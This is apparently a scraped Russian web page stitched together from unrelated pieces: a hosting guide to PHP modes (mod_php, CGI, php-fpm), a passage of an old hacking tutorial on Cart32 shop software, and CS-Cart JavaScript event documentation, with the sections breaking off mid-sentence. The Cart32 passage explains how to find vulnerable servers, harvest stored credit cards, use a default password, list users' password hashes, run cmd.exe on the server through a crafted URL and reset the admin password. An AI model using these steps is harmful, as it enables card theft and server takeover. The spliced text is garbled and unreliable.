Режимы работы PHP. Хуки JavaScript: события и колбэки PHP в режиме работы php-fpm
Эра технологий - Информационный сайт

Режимы работы PHP. Хуки JavaScript: события и колбэки PHP в режиме работы php-fpm

На хостинге Hostland интерпретатор PHP может работать в нескольких основных режимах. В этом обзоре мы рассмотрим следующие режимы работы:

  • PHP как модуль Apache (mod_php)
  • PHP как CGI приложение
  • PHP в режиме работы php-fpm

PHP как модуль Apache (mod_php)

Данный режим является основным режимом работы php на хостинге Hostland. При этом режиме в настройках веб-сервера Apache подключается специально скомпилированный модуль mod_php. В этом случае каждый процесс веб-сервера будет включать в себя этот модуль. Выбор этого режима подходит для широкого спектра сайтов с большой и малой посещаемостью.

Преимущества:

  • При каждом обращении к вебсерверу интерпретатор php уже загружен в память процесса обслуживающего соединение. Не нужно тратить лишние миллисекунды для того что бы исполнить код интерпретатора.
  • Быстрое исполнение скриптов.

Недостатки:

  • Конфигурирование php.ini выполняется исключительно системными администраторами хостинг провайдера, некоторые параметры можно объявить через файл .htaccess . Таким образом, если для сайта нужны гибкие настройки php.ini, то с этим могут возникнуть трудности.
  • Загрузка модуля mod_php происходит во все процессы apache даже при отсутствии запросов на php скрипты, обрабатываемый этим модулем. За счет этого создается, незначительная, но бесполезная нагрузка на сервер.

PHP как CGI приложение

В этом режиме запускается интерпретатор php-cgi для всех скриптов, для которых установлен CGI в качестве обработчика. Если большая часть сайта состоит из статического содержимого, то CGI будет хорошим выбором, т.к. будет обеспечено экономичное использование оперативной памяти за счет того, что нужный интерпретатор будет вызываться в случае необходимости. Но, и в то же время, такой метод незначительно замедляет исполнение, т.к. при каждом запросе понадобится загрузка интерпретатора в память. Запуск PHP в режиме CGI позволяет указывать свой php.ini, что в свою очередь дает бóльшую гибкость в настройках php.

На хостинге Hostland установлены следующие интерпретаторы php, доступные для использования в режиме CGI:

/usr/local/php/php-5.2/bin/php-cgi /usr/local/php/php-5.3/bin/php-cgi /usr/local/php/php-5.4/bin/php-cgi /usr/local/php/php-5.5/bin/php-cgi /usr/local/php/php-5.6/bin/php-cgi /usr/local/php/php-7.0/bin/php-cgi /usr/local/php/php-7.1/bin/php-cgi /usr/local/php/php-7.2/bin/php-cgi /usr/local/php/php-7.3/bin/php-cgi

Переключить php в режим CGI (и обратно в режим модуля mod_php) можно двумя способами:

    Автоматически в панели управления:

    В , в разделе «Домены» для каждого домена доступна настройка php.ini. Режим работы php будет автоматически переведен в режим CGI при добавлении хотя бы одной опции php.ini в «Стандартном», «Ограниченном» или «Параноидальном» режиме.

    PHP в режиме CGI автоматически подключается только для основного домена. Подключать PHP в режиме CGI для поддоменов необходимо вручную. Для этого скопируйте папку sys-php-cgi из корневой папки основного домена (данная дирректория появится в автоматическом режиме, после подключения PHP в режим CGI) в корневую папку поддомена. Например, для включения PHP в режиме CGI на поддомене sub.domain.ru нужно скопировать папку ~/domain.ru/htdocs/www/sys-php-cgi в папку ~/domain.ru/htdocs/sub, если Вы это действие не выполните, то при обращении к поддомену sub.domain.ru будет получена ошибка 500

    Вручную (для экспертов):

    Создать файл /domain-name.ru/htdocs/www/cgi-bin/php.cgi:

    #!/bin/bash
    /usr/local/php/php-5.3/bin/php-cgi -c /home/hostXXXXXX/путь/к/файлу/php.ini

    Закачать файл на сервер в ASCII-режиме в папку домена, на котором предполагается запускать PHP в режиме CGI. Например, для домена domain-name.ru это будет папка /domain-name.ru/htdocs/www/cgi-bin/. Если закачать файл не в ASCII-режиме, скрипт работать не будет, будет выдаваться ошибка 500 (Internal Server Error).

    Установить на файл php.cgi права 0755 (rwxr-xr-x).

    Создать файл.htaccess в директории домена /domain-name.ru/htdocs/www и поместить в него следующие директивы:

    Action php-cgi /cgi-bin/php.cgi
    AddHandler php-cgi .php .php3 .phtml

    Теперь файлы с расширением.php, .php3, .php5 будут обрабатываться PHP интерпретатором в CGI-режиме.

Преимущества:

  • Конфигурацию PHP можно сделать индивидуальной и очень гибкой для каждого сайта с помощью настроек php.ini.
  • CGI использует оперативную память только если это действительно необходимо.

Недостатки:

  • При каждом запросе понадобится загрузка интерпретатора в память, что может вызвать незначительные задержки (в пределах нескольких миллисекунд)
  • Разработка PHP-авторизации с командой Header имеет ограничения по причине того, что скрипт будет получать не все необходимые серверные переменные.

Небольшая ремарка:

Из практики работы нашей технической поддержки: при переносе сайтов с других хостингов мы иногда сталкиваемся с ситуацией, в которой приложение отказывается работать в режиме модуля php (с кодом завершения «segmentation fault»), но при этом стабильно работает в режиме php-cgi. С чем это связано сказать затруднительно, но это факт. Обычно это касается т.н. legacy кода , написанного на php5.2 или php4.4. Сайт при этом работает, но клиент, в силу обстоятельств, не может обновить код до современных версий php.

PHP в режиме работы php-fpm

FastCGI Process Manager, «Менеджер процессов FastCGI». Это альтернативная реализация FastCGI режима в PHP с несколь­кими допол­ни­тель­ными воз­мож­но­стя­ми, кото­рые обычно исполь­зу­ются для очень высо­ко­на­гру­жен­ных сайтов .

Следует помнить, что при работе PHP в режиме FastCGI в памяти «висит» сам php интерпретатор, а не какой-то конкретный php-скрипт.

PHP-FPM используется, в основном, в связке с Nginx, без установки Apache.

Более подробное описание данного режима выходит за рамки обзора данной темы, но на нашем VDS-хостинге мы с радостью поможем вам его настроить.

)
- Shopping Cart System for Windows 95 & NT представляет из
себя “движок” для Он-лайн магазинов. А где
магазины, там, как известно, кредитные
карточки:).

Насколько мне известно,
последняя версия данного продукта – Cart31 v
3.6, является также уязвимой, как и ее
предшественники.

Для начала ты должен
научиться находить этот скрипт, по дефолту
он находится в директории CGI-BIN или SCRIPTS на
сервере. Если ты внимательно читал мои
прошлые статьи, то прекрасно знаешь как
искать незащищенные сервера через
поисковые системы. Итак, идем на АльтаВисту
(www.altavista.com) и
в окошке поиска вводим: “/scripts/cart32.exe/”, “/cgi-bin/cart32.exe/”
и начинаем разгребать ссылки:).

1) Если в системе разрешен запрос “ERROR”, то
пробуем: www.host.org/cgi-bin/cart32.exe/error. Скрипт может
вывести море информации по установленной
на серваке системе, листинг директории /cgi-bin/cart32
и директории, куда установлена программа (стандартно
- C:\Program Files\MWAInc\Cart32).

Пример:
INIFile = C:\Program Files\MWAInc\Cart32\cart32.ini
CGI Information
CGI_ServerSoftware = Microsoft-IIS/4.0
CGI_ServerName = www.host.org
CGI_RequestMethod = GET
CGI_Referer =
GI_RemoteHost = 313.373.3.333
CGI_RemoteAddr = 313.373.3.334
CGI_UserAgent = Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
CGI_ContentLength =0
CGI_ScriptName = /cgi-bin/cart32.exe
CGI_ServerURL =
CGI_GatewayInterface =CGI/1.1
CGI_ServerProtocol =HTTP/1.1
CGI_ServerPort = 80
CGI_ContentType =
CGI_QueryString =
CGI_PathInfo = /error
CGI_Cookie =

2) Если повезет, то админ
сервака проинсталлирует все в один каталог,
например в cgi-bin, и, прочитав лог об ошибке (см.
предыдущий пункт), мы увидим, что в директории
/cgi-bin/ находятся файлы blahblah-[число]. В этих
файлах находятся долгожданные кредитные
карточки (в одном файле по одной креде).

Примечание: В старых версиях
вся информация о кредах хранилась в файле
blahblah-orders.txt

3) Стандартным паролем является "wemilo". C
данным паролем, вы можете пойти на
нижеприведенную ссылку, которая покажет
вам список всех юзеров и их хешированные
пароли:

http://www.victim.com/cgi-bin/cart32.exe/cart32clientlist

Воспользовавшись этой
уязвимостью, вы можете просмотреть список
всех пользователей и их хешированные
пароли. Хотя они и хешированные, их все
равно можно применить, введя
нижеприведенный URL:

http://www.host.org/cgi-bin/c32web.exe? TabName=Cart32%2B&Action=
Save+Cart32%2B+Tab&SaveTab= Cart32%2B&Client=foobar&ClientPassword=
e%21U%23_%25%28%5D%5D%26%25*%2B-a&Admin=
&AdminPassword=&TabToSave=Cart32%2B&PlusTabToSave
=Run+External+Program&UseCMDLine=Yes&CMDLine= cmd.exe+%2Fc+dir+%3E+c%3A%5Czlob.txt

После успешного
выполнения этой операции, вся инфа будет
запишется в файл "zlob.txt" на диске C:\.

Более того, пойдя на
данный URL:

4) http://www.host.org/scripts/c32web.exe/
ChangeAdminPassword

можно сменить пароль
администратора, не зная старого:).

Это конечно же не все
уязвимости в этой проге, особо любопытные
перцы могут скачать (

Общая информация

    События в новой версии служат заменой хукам и колбекам.

    Событие объявляется так:

    • ce.event_name - название события, обязательно с префиксом ce (CS-Cart event)
    • - массив параметров, которые будут переданы обработчикам события

    Обработчик объявляется так:

    $ . ceEvent ("on" , "ce.event_name" , function (a , b , c ) { //... });

    Если заменить on на one , то обработчик выполнится только 1 раз и после этого удалится.

    Обработчиков может быть несколько, выполняются они в порядке, в котором были объявлены. Обработчик может вернуть false - в этом случае последующие обработчики не будут выполнены.

    Событиями будут являться любые действия пользователя – это и ввод данных с клавиатуры, и передвижения мышки, и конечно же клики – всё это и есть события. К событиям можно еще отнести события создаваемые скриптами и триггерами.

    Например если вам необходимо показать alert после ajax запроса то легче всего это будет сделать подписавшись на событие.

    $ . ceEvent ("on" , "ce.ajaxdone" , function (event ) { alert ("Ajax done" ); });

    $ . ceEvent ("one" , "ce.ajaxdone" , function (event ) { alert ("Ajax done" ); });

События по умолчанию

switch

"ce.switch_" , [ flag ]

Запускается при скрытии/раскрытии элемента с помощью микроформата cm-combination

  • flag - флаг состояния элемента (открыт/скрыт)
  • - идентификатор элемента (html свойство id)

picker_js_action

"ce.picker_js_action_" , [ elm ]

Запускается при выборе элемента в ajax_select_object.tpl

formpre

"ce.formpre_" , [ form , clicked_elm ]

Запускается при отправке формы, перед проверкой элементов.

  • - имя формы

formpost

"ce.formpost_" , [ form , clicked_elm ]

Запускается при отправке формы, после проверки элементов.

  • form - объект, указывающий на форму, которая отправляется
  • clicked_elm - объект, указывающий на элемент, который вызвал отправку формы
  • - имя формы

formajaxpost

"ce.formajaxpost_" , [ response_data , params , response_text ]

Запускается после отправке формы аяксом.

  • response_data - данные ответа
  • params - параметры запроса
  • response_text - plain-text данные ответа

ajaxdone

"ce.ajaxdone" , [ elms , inline_scripts , params , data , response . text ]

Запускается после выполнения ajax-запроса, после загрузки всех внешних скриптов

  • elms - коллекция элементов, которые были обновлены запросом
  • inline_scripts - массив inline-скриптов, пришедших в ответе
  • params - параметры запроса
  • data - данные ответа
  • response.text - plain-text данные ответа

full_page_load

"ce.full_page_load" , [ response_data ]

Запускается после выполнения ajax-запроса, когда была отрендерена страница полностью (например, переход по ссылке в режиме виджета)

  • response_data - данные ответа

Добавить своё событие

Событие объявляется так:

$ . ceEvent ("trigger" , "ce.event_name" , [ a , b , c ]);

Раньше колбеки для некоторых действий (ajax-запрос, вызванный DOM-элементом, отображение/скрытие элемента через cm-combination) задавались достаточно “магично”. В элемент добавлялся параметр name, например name=”some_action”. При выполнении действия, например ajax-запроса, искалась функция fn_some_action и передавалась в качестве колбека при вызове запроса.

Теперь, событие объявляется через аттрибут data-ca-event элемента, например “ce.ajax_callback”. После выполнения запроса запускается соответствующее событие.

Замечание: в $.ceAjax осталась возможность передавать в параметре callback функцию. Если в этом параметре передана строка, она интерпретируется как название события.

Лучшие статьи по теме